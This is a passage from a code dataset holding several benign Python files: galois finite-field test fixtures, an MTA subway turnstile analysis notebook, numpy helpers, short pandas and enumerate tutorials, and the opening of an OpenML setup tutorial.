d[\"Z\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_left_null_space(field_folder):\n    GF, d = read_pickle(field_folder, \"left_null_space.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Z\"] = [GF(z) for z in d[\"Z\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_null_space(field_folder):\n    GF, d = read_pickle(field_folder, \"null_space.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Z\"] = [GF(z) for z in d[\"Z\"]]\n    return d\n\n\n###############################################################################\n# Fixtures for arithmetic methods over finite fields\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef field_additive_order(field_folder):\n    GF, d = read_pickle(field_folder, \"additive_order.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = GF(d[\"X\"])\n    d[\"Z\"] = d[\"Z\"]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_multiplicative_order(field_folder):\n    GF, d = read_pickle(field_folder, \"multiplicative_order.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = GF(d[\"X\"])\n    d[\"Z\"] = d[\"Z\"]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_characteristic_poly_element(field_folder):\n    GF, d = read_pickle(field_folder, \"characteristic_poly_element.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = GF(d[\"X\"])\n    d[\"Z\"] = [galois.Poly(p, field=GF.prime_subfield) for p in d[\"Z\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_characteristic_poly_matrix(field_folder):\n    GF, d = read_pickle(field_folder, \"characteristic_poly_matrix.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = [GF(x) for x in d[\"X\"]]\n    d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_minimal_poly_element(field_folder):\n    GF, d = read_pickle(field_folder, \"minimal_poly_element.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = GF(d[\"X\"])\n    d[\"Z\"] = [galois.Poly(p, field=GF.prime_subfield) for p in d[\"Z\"]]\n    return d\n\n\n# @pytest.fixture(scope=\"session\")\n# def field_minimal_poly_matrix(field_folder):\n#     GF, d = read_pickle(field_folder, \"minimal_poly_matrix.pkl\")\n#     d[\"GF\"] = GF\n#     d[\"X\"] = [GF(x) for x in d[\"X\"]]\n#     d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n#     return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_trace(field_folder):\n    GF, d = read_pickle(field_folder, \"field_trace.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = GF(d[\"X\"])\n    d[\"Z\"] = GF.prime_subfield(d[\"Z\"])\n    return d\n\n\n@pytest.fixture(scope=\"session\")\ndef field_norm(field_folder):\n    GF, d = read_pickle(field_folder, \"field_norm.pkl\")\n    d[\"GF\"] = GF\n    d[\"X\"] = GF(d[\"X\"])\n    d[\"Z\"] = GF.prime_subfield(d[\"Z\"])\n    return d\n", "meta": {"hexsha": "32cbe033feeeb9c03ff2f5d4d808851f6554b3c5", "size": 12527, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/fields/conftest.py", "max_stars_repo_name": "hussinhassan80/galois", "max_stars_repo_head_hexsha": "5553d0f17d5f4dcf105f92028fcde8f6afd53b6d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/fields/conftest.py", "max_issues_repo_name": "hussinhassan80/galois", "max_issues_repo_head_hexsha": "5553d0f17d5f4dcf105f92028fcde8f6afd53b6d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/fields/conftest.py", "max_forks_repo_name": "hussinhassan80/galois", "max_forks_repo_head_hexsha": "5553d0f17d5f4dcf105f92028fcde8f6afd53b6d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.5353075171, "max_line_length": 100, "alphanum_fraction": 0.5710066257, "include": true, "reason": "import numpy", "num_tokens": 3746, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.12592277467581975, "lm_q1q2_score": 0.05561669037269871}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport datetime as dt\nimport missingno as msno\nimport plotly.express as px\n\n\n# In[2]:\n\n\ndef get_data(week_nums):\n    url = \"http://web.mta.info/developers/data/nyct/turnstile/turnstile_{}.txt\"\n    dfs = []\n    for week_num in week_nums:\n        file_url = url.format(week_num)\n        dfs.append(pd.read_csv(file_url))\n    return pd.concat(dfs)\n\nweek_nums = [210828, 210821, 210814, 210807, 210731, 210724, 210717, 210710, 210703, 210626,210619, 210612, 210605]\nturnstiles_df = get_data(week_nums)\n\n\n# In[3]:\n\n\nturnstiles_df.head()\n\n\n# In[4]:\n\n\nturnstiles_df.tail()\n\n\n# In[5]:\n\n\nturnstiles_df.describe()\n\n\n# In[6]:\n\n\nturnstiles_df.info()\n\n\n# In[7]:\n\n\n# From importing the data from the website, we noticed some extra spaced columns\nturnstiles_df.columns\n\n\n# In[8]:\n\n\n# The purpose of this line of code is to fix and adjust the extra spacing in the columns\nturnstiles_df.columns = [column.strip() for column in turnstiles_df.columns]\nturnstiles_df.columns\n\n\n# In[9]:\n\n\n# Three months of Data\nturnstiles_df.DATE.value_counts().sort_index()\n\n\n# In[10]:\n\n\n# Since our imported data's date and time columns are object dtype, we need to put the date and time in a single column and change from object to datetime dtype to help us to access the data easily\nturnstiles_df[\"DATE_TIME\"] = pd.to_datetime(turnstiles_df.DATE + \" \" + turnstiles_df.TIME,format=\"%m/%d/%Y %H:%M:%S\")\n\n\n# In[11]:\n\n\nturnstiles_df.head()\n\n\n# In[12]:\n\n\n# By applying the mask concept we can filter the data for such a specefic station\nmask = ((turnstiles_df[\"C/A\"] == \"R504\") &\n(turnstiles_df[\"UNIT\"] == \"R276\") &\n(turnstiles_df[\"SCP\"] == \"00-00-01\") &\n(turnstiles_df[\"STATION\"] == \"VERNON-JACKSON\"))\n\nturnstiles_df[mask].head()\n\n\n# In[13]:\n\n\n# Sanity Check to verify that \"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\" is unique\n(turnstiles_df\n .groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"])\n .ENTRIES.count()\n .reset_index()\n .sort_values(\"ENTRIES\", ascending=False))\n\n\n# In[14]:\n\n\n# The detailed information about duplicated rows\nturnstiles_df[turnstiles_df.duplicated(subset=[\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"])]\n\n\n# In[15]:\n\n\n# Number of diplicarted rows\nturnstiles_df.duplicated(subset=[\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"]).sum()\n\n\n# In[16]:\n\n\n# By applying the mask concept we can filter the data for such a specefic station and time\nmask1 = ((turnstiles_df[\"C/A\"] == \"R504\") &\n(turnstiles_df[\"UNIT\"] == \"R276\") &\n(turnstiles_df[\"SCP\"] == \"00-00-01\") &\n(turnstiles_df[\"STATION\"] == \"VERNON-JACKSON\") &\n(turnstiles_df[\"DATE_TIME\"].dt.date == dt.datetime(2021, 8, 21).date()))\n\n\n# In[17]:\n\n\nturnstiles_df[mask1].head()\n\n\n# In[18]:\n\n\n# To check if there is any NULL value\nturnstiles_df.info()\n\n\n# In[19]:\n\n\n# To check if there is any NULL value\nturnstiles_df.isna().sum()\n\n\n# In[20]:\n\n\n# Visualize missing values as a matrix\n\nmsno.matrix(turnstiles_df)\n\n\n# In[21]:\n\n\n# Handle missing values if any\nturnstiles_df.dropna()\n\n\n# In[22]:\n\n\n# Alternative methode to handle missing values if any\nturnstiles_df.fillna(0)\n\n\n# In[23]:\n\n\n# By applying the mask concept we can filter the data for such a specefic station and time\nmask2 = ((turnstiles_df[\"C/A\"] == \"R504\")&(turnstiles_df[\"UNIT\"] == \"R276\")&(turnstiles_df[\"SCP\"] == \"00-00-01\")&(turnstiles_df[\"STATION\"] == \"VERNON-JACKSON\")&(turnstiles_df[\"DESC\"] == \"RECOVR AUD\")&(turnstiles_df[\"DATE_TIME\"].dt.date == dt.datetime(2021, 8, 16).date()))\nturnstiles_df[mask2].head()\n\n\n# In[24]:\n\n\nturnstiles_df.DESC.value_counts()\n\n\n# In[25]:\n\n\n# Get rid of the duplicate entry\nturnstiles_df.sort_values([\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"],\n                          inplace=True, ascending=False)\nturnstiles_df.drop_duplicates(subset=[\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"], inplace=True)\n\n\n# In[26]:\n\n\n# Sanity Check to verify that \"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\" is unique\n(turnstiles_df.groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"]).ENTRIES.count().reset_index().sort_values(\"ENTRIES\", ascending=False)).head(5)\n\n\n# In[27]:\n\n\n# No more duplicated rows\nturnstiles_df.duplicated(subset=[\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"]).sum()\n\n\n# In[28]:\n\n\n# The detailed information about non-duplicated rows\nturnstiles_df[turnstiles_df.duplicated(subset=[\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"])]\n\n\n# In[29]:\n\n\n# The sum of number of entries for each unique turnstile at a specefict time and date\nturnstiles_daily = (turnstiles_df.groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE\",\"TIME\"],as_index=False).ENTRIES.first())\n\nturnstiles_daily.head(20)\n\n\n# In[30]:\n\n\nturnstiles_daily[[\"PREV_DATE\", \"PREV_ENTRIES\"]] = (turnstiles_daily.groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\"])[\"DATE\", \"ENTRIES\"].apply(lambda grp: grp.shift(1)))\n\n\n# Drop the rows for the earliest date in the df\nturnstiles_daily.dropna(subset=[\"PREV_DATE\"], axis=0, inplace=True)\n\n# Handle missing values if any\nturnstiles_daily.dropna()\n\nturnstiles_daily[turnstiles_daily[\"ENTRIES\"] < turnstiles_daily[\"PREV_ENTRIES\"]].head()\n\n\n# What's the deal with counter being in reverse\nmask = ((turnstiles_df[\"C/A\"] == \"A011\")&(turnstiles_df[\"UNIT\"] == \"R080\")&(turnstiles_df[\"SCP\"] == \"01-00-00\")&(turnstiles_df[\"STATION\"] == \"57 ST-7 AV\")&(turnstiles_df[\"DATE_TIME\"].dt.date == dt.datetime(2021, 8, 27).date()))\nturnstiles_df[mask].head()\n\n(turnstiles_daily[turnstiles_daily[\"ENTRIES\"] < turnstiles_daily[\"PREV_ENTRIES\"]].groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\"]).size())\n\n\n# In[31]:\n\n\ndef get_daily_counts(row, max_counter):\n    counter = row[\"ENTRIES\"] - row[\"PREV_ENTRIES\"]\n    if counter < 0:\n        # Maybe counter is reversed?\n        counter = -counter\n    if counter > max_counter:\n        # Maybe counter was reset to 0?\n        print(row[\"ENTRIES\"], row[\"PREV_ENTRIES\"])\n        counter = min(row[\"ENTRIES\"], row[\"PREV_ENTRIES\"])\n    if counter > max_counter:\n        # Check it again to make sure we're not still giving a counter that's too big\n        return 0\n    return counter\n\n# If counter is > 1Million, then the counter might have been reset.\n# Just set it to zero as different counters have different cycle limits\n# It'd probably be a good idea to use a number even significantly smaller than 1 million as the limit!\nturnstiles_daily[\"DAILY_ENTRIES\"] = turnstiles_daily.apply(get_daily_counts, axis=1, max_counter=1000000)\n\nturnstiles_daily.head(15)\n\n\n# In[32]:\n\n\nturnstiles_dailye = (turnstiles_df.groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE\",\"TIME\"],as_index=False).EXITS.first())\nturnstiles_dailye[[\"PREV_DATE\", \"PREV_EXITS\"]] = (turnstiles_dailye.groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\"])[\"DATE\", \"EXITS\"].apply(lambda grp: grp.shift(1)))\nturnstiles_dailye.dropna(subset=[\"PREV_DATE\"], axis=0, inplace=True)\nturnstiles_dailye.dropna()\nturnstiles_dailye[turnstiles_dailye[\"EXITS\"] < turnstiles_dailye[\"PREV_EXITS\"]].head()\n\n\n# In[33]:\n\n\ndef get_daily_countsy(row, max_counter):\n    counter = row[\"EXITS\"] - row[\"PREV_EXITS\"]\n    if counter < 0:\n        # Maybe counter is reversed?\n        counter = -counter\n    if counter > max_counter:\n        # Maybe counter was reset to 0?\n        print(row[\"EXITS\"], row[\"PREV_EXITS\"])\n        counter = min(row[\"EXITS\"], row[\"PREV_EXITS\"])\n    if counter > max_counter:\n        # Check it again to make sure we're not still giving a counter that's too big\n        return 0\n    return counter\n\n# If counter is > 1Million, then the counter might have been reset.\n# Just set it to zero as different counters have different cycle limits\n# It'd probably be a good idea to use a number even significantly smaller than 1 million as the limit!\nturnstiles_dailye[\"DAILY_EXITS\"] = turnstiles_dailye.apply(get_daily_countsy, axis=1, max_counter=1000000)\n\n\nturnstiles_daily[\"DAILY_EXITS\"]= turnstiles_dailye[\"DAILY_EXITS\"]\n\nturnstiles_daily\n\n\n# In[34]:\n\n\nturnstiles_daily['TRAFIC'] = turnstiles_daily['DAILY_EXITS'] + turnstiles_daily['DAILY_ENTRIES']\nturnstiles_daily[\"DATE_TIME\"] = pd.to_datetime(turnstiles_daily.DATE + \" \" + turnstiles_daily.TIME,format=\"%m/%d/%Y %H:%M:%S\")\n\nturnstiles_daily['DAY']=turnstiles_daily.DATE_TIME.dt.day_name()\n\nturnstiles_daily=turnstiles_daily[['C/A','UNIT','SCP','STATION','DATE','TIME','DATE_TIME','DAY','DAILY_ENTRIES','DAILY_EXITS','TRAFIC']]\n\n\n# In[35]:\n\n\nturnstiles_stations = turnstiles_daily.groupby('STATION').mean().reset_index().sort_values('TRAFIC',ascending=False).head(15)\n\nfig = px.bar(turnstiles_stations, x='STATION', y='TRAFIC',title=\"TOP CROWDED STATIONS\", labels={'TRAFIC':'TRAFFIC (mean)'})\nfig.show()\n\n\n# In[36]:\n\n\nturnstiles_stations = turnstiles_daily.groupby('STATION').mean().reset_index().sort_values('TRAFIC',ascending=True).head(15)\n\nfig = px.bar(turnstiles_stations, x='STATION', y='TRAFIC',title=\"LEAST CROWDED STATIONS\", labels={'TRAFIC':'TRAFFIC (mean)'})\nfig.show()\n\n\n# In[37]:\n\n\nturnstile_OB =turnstiles_daily[turnstiles_daily['STATION']=='ORCHARD BEACH']\nturnstile_OBb = turnstile_OB.groupby('DAY').mean().sort_values('TRAFIC',ascending=False).reset_index()\nfig = px.bar(turnstile_OBb, x=\"DAY\", y=\"TRAFIC\",title=\"DAILY TRAFFIC LEAST CROWDED STATIONS\", labels={'TRAFIC':'TRAFFIC (mean)'})\nfig.show()\n\n\n# In[38]:\n\n\nturnstile_tts =turnstiles_daily[turnstiles_daily['STATION']=='TWENTY THIRD ST']\nturnstile_ttss = turnstile_tts.groupby('DAY').mean().sort_values('TRAFIC',ascending=False).reset_index()\nfig = px.bar(turnstile_ttss, x=\"DAY\", y=\"TRAFIC\",title=\"DAILY TRAFFIC MOST CROWDED STATIONS\", labels={'TRAFIC':'TRAFFIC (mean)'})\nfig.show()\n\n\n# In[39]:\n\n\nturnstile_OBt=turnstile_OB.groupby(\"TIME\").mean().sort_values('TIME',ascending=True).reset_index()\nfig = px.line(turnstile_OBt,x='TIME',y='TRAFIC',title=\"LEAST CROWDED STATIONS WITH RESPECT TO TIME\", labels={'TRAFIC':'TRAFFIC (mean)'})\nfig.show()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "ab53d4949dcb00e9e34c1f4163f3c2383c7c7f05", "size": 9839, "ext": "py", "lang": "Python", "max_stars_repo_path": "Run.py", "max_stars_repo_name": "L9Sneaky/T5-EDA-project", "max_stars_repo_head_hexsha": "a1084f3d008b4091827e261898cb987777082818", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Run.py", "max_issues_repo_name": "L9Sneaky/T5-EDA-project", "max_issues_repo_head_hexsha": "a1084f3d008b4091827e261898cb987777082818", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Run.py", "max_forks_repo_name": "L9Sneaky/T5-EDA-project", "max_forks_repo_head_hexsha": "a1084f3d008b4091827e261898cb987777082818", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.6223958333, "max_line_length": 272, "alphanum_fraction": 0.696107328, "include": true, "reason": "import numpy", "num_tokens": 2916, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416729909662417, "lm_q2_score": 0.12592277631593438, "lm_q1q2_score": 0.055616689246231754}}
{"text": "'''\r\nUtility functions\r\n\r\n@author Jonathan Karr, karr@mssm.edu\r\n@date 3/22/2016\r\n'''\r\n\r\nimport numpy as np\r\n\r\nN_AVOGADRO = 6.022e23\r\n# Avogadro constant\r\n\r\ndef nanminimum(x, y):\r\n    return np.where(np.logical_or(np.isnan(y), np.logical_and(x <= y, np.logical_not(np.isnan(x)))), x, y)\r\n\r\ndef nanmaximum(x, y):\r\n    return np.where(np.logical_or(np.isnan(y), np.logical_and(x >= y, np.logical_not(np.isnan(x)))), x, y)\r\n\r\n", "meta": {"hexsha": "558a1ae22123e4812a3260c1a8be869c77d0b23b", "size": 422, "ext": "py", "lang": "Python", "max_stars_repo_path": "intro_to_wc_modeling/cell_modeling/simulation/multi_algorithm/util.py", "max_stars_repo_name": "KarrLab/python_package_tutorial", "max_stars_repo_head_hexsha": "dd20e0d3056138904e7e7fbbf6bb884d64dbf8f6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 15, "max_stars_repo_stars_event_min_datetime": "2018-01-06T11:33:01.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-01T15:18:40.000Z", "max_issues_repo_path": "intro_to_wc_modeling/cell_modeling/simulation/multi_algorithm/util.py", "max_issues_repo_name": "KarrLab/python_package_tutorial", "max_issues_repo_head_hexsha": "dd20e0d3056138904e7e7fbbf6bb884d64dbf8f6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2018-01-30T23:21:12.000Z", "max_issues_repo_issues_event_max_datetime": "2018-03-23T20:22:06.000Z", "max_forks_repo_path": "intro_to_wc_modeling/cell_modeling/simulation/multi_algorithm/util.py", "max_forks_repo_name": "KarrLab/python_package_tutorial", "max_forks_repo_head_hexsha": "dd20e0d3056138904e7e7fbbf6bb884d64dbf8f6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 8, "max_forks_repo_forks_event_min_datetime": "2018-01-08T21:40:19.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-04T14:48:02.000Z", "avg_line_length": 22.2105263158, "max_line_length": 107, "alphanum_fraction": 0.654028436, "include": true, "reason": "import numpy", "num_tokens": 125, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.12592277139559052, "lm_q1q2_score": 0.05561668892391}}
{"text": "\nimport numpy as np\n\n\n# build-in func enumerate\nlst = np.arange(1, 10)\nfor i, v in enumerate(lst):\n    print(f\" i:{i} v:{v}\")\n\nsome_list = ['foo', 'bar', 'baz']\nmapping = {}\n\nfor i, v in enumerate(some_list):\n    mapping[i] = v\n\nprint(f\"mapping:{mapping}\")\n\n\n\n", "meta": {"hexsha": "68c949b0679494af15a1f072388264f4607bb69a", "size": 260, "ext": "py", "lang": "Python", "max_stars_repo_path": "mydemo/3.1.3.1_enumerate.py", "max_stars_repo_name": "ebayboy/pydata-book", "max_stars_repo_head_hexsha": "77128a7bf2c446e8ef8cdcc53e3295a231376863", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "mydemo/3.1.3.1_enumerate.py", "max_issues_repo_name": "ebayboy/pydata-book", "max_issues_repo_head_hexsha": "77128a7bf2c446e8ef8cdcc53e3295a231376863", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mydemo/3.1.3.1_enumerate.py", "max_forks_repo_name": "ebayboy/pydata-book", "max_forks_repo_head_hexsha": "77128a7bf2c446e8ef8cdcc53e3295a231376863", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 13.0, "max_line_length": 33, "alphanum_fraction": 0.6038461538, "include": true, "reason": "import numpy", "num_tokens": 82, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.12592275991478885, "lm_q1q2_score": 0.05561668385314982}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 20 09:34:37 2018\n\n@author: SilverDoe\n\"\"\"\n\n'''\n========================== DataFrame ==========================================\n\npandas.DataFrame( data, index, columns, dtype, copy)\n\nParameters : \n============\n1. data : data takes various forms like ndarray, series, map, lists, dict, constants\n   and also another DataFrame.\n   \n2. index : For the row labels, the Index to be used for the resulting frame is \n   Optional Default np.arrange(n) if no index is passed.\n   \n3. columns : For column labels, the optional default syntax is - np.arrange(n). \n   This is only true if no index is passed.\n   \n4. dtype : Data type of each column.\n\n5. copy : This command (or whatever it is) is used for copying of data, if the \n   default is False.\n   \n\n'''\n\n#=============== Empty DataFrame =================================================\n\nimport pandas as pd\ndf = pd.DataFrame()\nprint(df)\n\n#============= DataFrame from Lists ============================================\n\n# no index passed, no column names given\nimport pandas as pd\ndata = [1,2,3,4,5]\ndf = pd.DataFrame(data)\nprint(df)\n\n# no index passed, column names given\nimport pandas as pd\ndata = [['Natsu',13],['Lisanna',9],['Happy',1]]\ndf = pd.DataFrame(data,columns=['Name','Age'])\nprint(df)\n\n# no index passed, column names given, datatype passed\nimport pandas as pd\ndata = [['Natsu',13],['Lisanna',8],['Happy',1]]\ndf = pd.DataFrame(data,columns=['Name','Age'],dtype=float)\nprint(df)\n\n\n#========== Dataframe from Dictionary of ndarrays/lists ============================================\n\n''' \n>>All the ndarrays must be of same length. If index is passed, then the length\n of the index should equal to the length of the arrays.\n \n>> To preserve the order of the columns:\n    1. use ordered doctionary, since dictionaries will not preserve the order when created. \n    2. use columns index while creating the dataframe.\n    3. use  reorder the columns the way you want by using df = df[list of column names in the order you want]\n \n'''\n \n# using arrays, No index given.\nimport pandas as pd\ndata = {'Name':['Lisanna', 'Natsu', 'Erza', 'Gray'],'Age':[15,20,23,20]}\ndf = pd.DataFrame(data)\nprint(df)\n\n# using arrays, Index given. \nimport pandas as pd\ndata = {'Name':['Lisanna', 'Natsu', 'Erza', 'Gray'],'Age':[15,20,23,20]}\ndf = pd.DataFrame(data, index=['rank1','rank2','rank3','rank4'])\nprint(df)\n\n'''\n>>List of Dictionaries can be passed as input data to create a DataFrame. The \ndictionary keys are by default taken as column names.\n\n>>NaN (Not a Number) is appended in missing areas when using lists instead of arrays.\n\n'''\n\n# using lists, no index given\nimport pandas as pd\ndata = [{'a': 1, 'b': 2},{'a': 5, 'b': 10, 'c': 20}]\ndf = pd.DataFrame(data)\nprint(df)\n\n# using lists,index given\nimport pandas as pd\ndata = [{'a': 1, 'b': 2},{'a': 5, 'b': 10, 'c': 20}]\ndf = pd.DataFrame(data, index=['first', 'second'])\nprint(df)\n\n# using lists,index given, columns given\nimport pandas as pd\ndata = [{'a': 1, 'b': 2},{'a': 5, 'b': 10, 'c': 20}]\n\n#With two column indices, values same as dictionary keys\ndf1 = pd.DataFrame(data, index=['first', 'second'], columns=['a', 'b'])\nprint(df1)\n\n#With two column indices with one index with other name\ndf2 = pd.DataFrame(data, index=['first', 'second'], columns=['a', 'b1'])\nprint(df2)\n\n\n#using dictionary of Series\nimport pandas as pd\n\nd = {'one' : pd.Series([1, 2, 3], index=['a', 'b', 'c']),\n      'two' : pd.Series([1, 2, 3, 4], index=['a', 'b', 'c', 'd'])}\n\ndf = pd.DataFrame(d)\nprint(df)\n\n\n# using ordered dictionary to preserve the order of the columns\nimport numpy as np\nimport pandas as pd\nfrom collections import OrderedDict\n\na = np.array( [ 1, 2, 3 ] )\nb = np.array( [ 4, 5, 6 ] )\nc = np.array( [ 7, 8, 9 ] )\n\nnd = { 'p': pd.Series(a), 'z': pd.Series(b), 'n': pd.Series(c) } # normal dictionary\nod = OrderedDict( { 'p': pd.Series(a), 'z': pd.Series(b), 'n': pd.Series(c) } ) # ordered doctionary\n\ndf = pd.DataFrame(od)\nprint(df)\n\n\n\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "db50838c630fbdfb16be9f9bf75b1d13d27f3c68", "size": 3985, "ext": "py", "lang": "Python", "max_stars_repo_path": "2_Python Advanced/8_Pandas/2_DataFrames.py", "max_stars_repo_name": "Arunken/PythonScripts", "max_stars_repo_head_hexsha": "702d0a3af7a9be3311f9da0afc5285d453f15484", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "2_Python Advanced/8_Pandas/2_DataFrames.py", "max_issues_repo_name": "Arunken/PythonScripts", "max_issues_repo_head_hexsha": "702d0a3af7a9be3311f9da0afc5285d453f15484", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-06-02T00:58:47.000Z", "max_issues_repo_issues_event_max_datetime": "2021-06-02T00:58:47.000Z", "max_forks_repo_path": "2_Python Advanced/8_Pandas/2_DataFrames.py", "max_forks_repo_name": "Arunken/PythonScripts", "max_forks_repo_head_hexsha": "702d0a3af7a9be3311f9da0afc5285d453f15484", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.045751634, "max_line_length": 109, "alphanum_fraction": 0.6143036386, "include": true, "reason": "import numpy", "num_tokens": 1110, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.12592275335433115, "lm_q1q2_score": 0.05561668095557275}}
{"text": "\"\"\"\n=========\nRun Setup\n=========\n\nBy: Jan N. van Rijn\n\nOne of the key features of the openml-python library is that is allows to\nreinstantiate flows with hyperparameter settings that were uploaded before.\nThis tutorial uses the concept of setups. Although setups are not extensively\ndescribed in the OpenML documentation (because most users will not directly\nuse them), they form a important concept within OpenML distinguishing between\nhyperparameter configurations.\nA setup is the combination of a flow with all its hyperparameters set.\n\nA key requirement for reinstantiating a flow is to have the same scikit-learn\nversion as the flow that was uploaded. However, this tutorial will upload the\nflow (that will later be reinstantiated) itself, so it can be ran with any\nscikit-learn version that is supported by this library. In this case, the\nrequirement of the corresponding scikit-learn versions is automatically met.\n\nIn this tutorial we will\n    1) Create a flow and use it to solve a task;\n    2) Download the flow, reinstantiate the model with same hyperparameters,\n       and solve the same task again;\n    3) We will verify that the obtained results are exactly the same.\n\n.. warning:: This example uploads data. For that reason, this example\n   connects to the test server at test.openml.org. This prevents the main\n   server from crowding with example datasets, tasks, runs, and so on.\n\"\"\"\n\n# License: BSD 3-Clause\n\nimport numpy as np\nimport openml\nimport sklearn.ensemble\nimport sklearn.impute\nimport sklearn.preprocessing\n\n\nopenml.config.start_using_configuration_for_example()\n\n###############################################################################\n# 1) Create a flow and use it to solve a task\n###############################################################################\n\n# first, let's download the task that we are interested in\ntask = openml.tasks.get_task(6)\n\n\n# we will create a fairly complex model, with many preprocessing components and\n# many potential hyperparameters. Of course, the model can be as complex and as\n# easy as you want it to be\nmodel_original = sklearn.pipeline.make_pipeline(\n    sklearn.impute.SimpleImputer(),\n    sklearn.ensemble.RandomForestClassifier()\n)\n\n\n# Let's change some hyperparameters. Of course, in any good application we\n# would tune them using, e.g., Random Search or Bayesian Optimization, but for\n# the purpose of this tutorial we set them to some specific values that might\n# or might not be optimal\nhyperparameters_original = {\n    'simpleimputer__strategy': 'median',\n    'randomforestclassifier__criterion': 'entropy',\n    'randomforestclassifier__max_features': 0.2,\n    'randomforestclassifier__min_samples_leaf': 1,\n    'randomforestclassifier__n_estimators': 16,\n    'randomforestclassifier__random_state': 42,\n}\nmodel_original.set_params(**hyperparameters_original)\n\n# solve the task and upload the result (this implicitly creates the flow)\nrun = openml.runs.run_model_on_task(\n    model_original,\n    task,\n    avoid_duplicate_runs=False)\nrun_original = run.publish()  # this implicitly uploads the flow\n\n###############################################################################\n# 2) Download the flow and solve the 